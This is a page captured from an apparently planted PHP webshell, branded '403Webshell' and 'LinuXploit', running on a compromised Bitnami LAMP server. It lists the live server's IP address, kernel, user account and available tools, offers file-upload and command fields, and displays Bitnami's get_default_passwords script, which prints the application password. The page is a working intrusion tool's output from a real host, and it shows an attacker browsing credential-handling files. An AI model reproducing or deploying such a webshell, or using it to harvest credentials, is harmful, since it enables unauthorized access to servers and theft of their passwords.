403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/scripts/init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/scripts/init/get_default_passwords
#!/bin/sh
# 
# Get the default password that will be used for all services and applications
# Copyright 2021 Bitnami.com All Rights Reserved
#

. /opt/bitnami/scripts/init/functions

# when run with --force option, set the password regardless of flag
if [ "x$1" != "x--force" ] ; then
    run_once_globally_check "get_default_passwords"
    if [ $? -ne 0 ]; then
        exit 0
    fi
fi

# get if password should be modified
APPUSER=""
PASSWD="`get_applications_password`"

if [ "x$PASSWD" = "x" ] ; then
  exit 0
fi

# log at start as well since when changing takes long time to complete,
# get console output may not show the full log
echo ""
echo "#########################################################################"
echo "#                                                                       #"
(
  echo "#        Setting Bitnami application password to '${PASSWD}'                     #"
  if [ "x$APPUSER" != "x" ]; then
    echo "#        (the default application username is '${APPUSER}')                    #"
  fi
) | sed 's/^#\(.\{71\}\)\s*#/#\1#/g' # Limits the horizontal size of the box
echo "#                                                                       #"
echo "#########################################################################"
echo ""

Youez - 2016 - github.com/yon3zu
LinuXploit